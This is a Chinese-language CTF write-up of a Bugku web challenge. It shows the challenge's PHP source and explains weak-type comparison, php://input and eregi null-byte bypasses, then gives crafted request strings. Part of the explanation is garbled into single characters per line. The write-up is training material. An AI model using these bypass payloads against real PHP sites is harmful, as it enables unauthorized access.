1.打开环境,neer never never give up 审计源码,发现1p.html
2.尝试访问1p.html,跳转到bugku首页,抓包分析,发现js代码
3.利用burpsuite解码模块得到源码,应该是PHP代码
————————————————————————————
<script>window.location.href='http://www.bugku.com';</script>
<!--";if(!$_GET['id']) //id为0或空,进入该循环,由于是弱类型比较 字符串即可绕过,同样的,浮点数0e123啥的也能绕过
{
header('Location: hello.php?id=1');
exit();
}
$id=$_GET['id'];
$a=$_GET['a'];
$b=$_GET['b'];
if(stripos($a,'.'))//a中不能出现.
{
echo 'no no no no no no no';
return ;
}
$data = @file_get_contents($a,'r');//读取文件内容
if($data=="bugku is a nice plateform!" and $id==0 and strlen($b)>5 and eregi("111".substr($b,0,1),"1114") and substr($b,0,1)!=4)
{
$flag = "flag{***********}"
}
else
{
print "never never never give up !!!";
}
?>-->
————————————————————
分析源码可知,需要绕过的主要有三个地方:
1.!$_GET[‘id’]要为假
i
d
=
=
0
要
为
真
,
两
个
绕
过
方
式
:
1.
字
符
串
2.
浮
点
数
0
e
1232.
id==0要为真,两个绕过方式:1.字符串 2.浮点数 0e123 2.
id==0要为真,两个绕过方式:1.字符串2.浮点数0e1232.data==“bugku is a nice plateform!” PHP伪协议绕过 php://input 是个可以访问请求的原始数据的只读流,只需在数据流中写入要读取的内容即可
3.b长度要大于5 eregi(“111”.substr(
b
,
0
,
1
)
,
"
1114
"
)
要
为
真
s
u
b
s
t
r
(
b,0,1),"1114")要为真 substr(
b,0,1),"1114")要为真substr(b,0,1)!=4
eregi是正则匹配函数,第一个参数是pattern,第二个参数是要匹配的内容
两种绕过方式:1.利用该函数的空截断漏洞,开头就是\x00,后面不管是什么都会匹配成功
2.活用正则,用形如? +啥的进行绕过,只要正则匹配为真就行
构造请求:?id=0e123456&a=php://input&b=*123456
?id=0e123456&a=php://input&b=+123456
?id=0e123456&a=php://input&b=?123456
?id=“aaa”&a=php://input&b=*123456
当构造空截断时,要注意是后端得到的是\x00,这中间还有个解码过程,因此要对\x00进行url编码,%00
?id=“aaa”&a=php://input&b=%0012345
参考视频链接:https://www.bilibili.com/video/BV1Nw411Z7xB/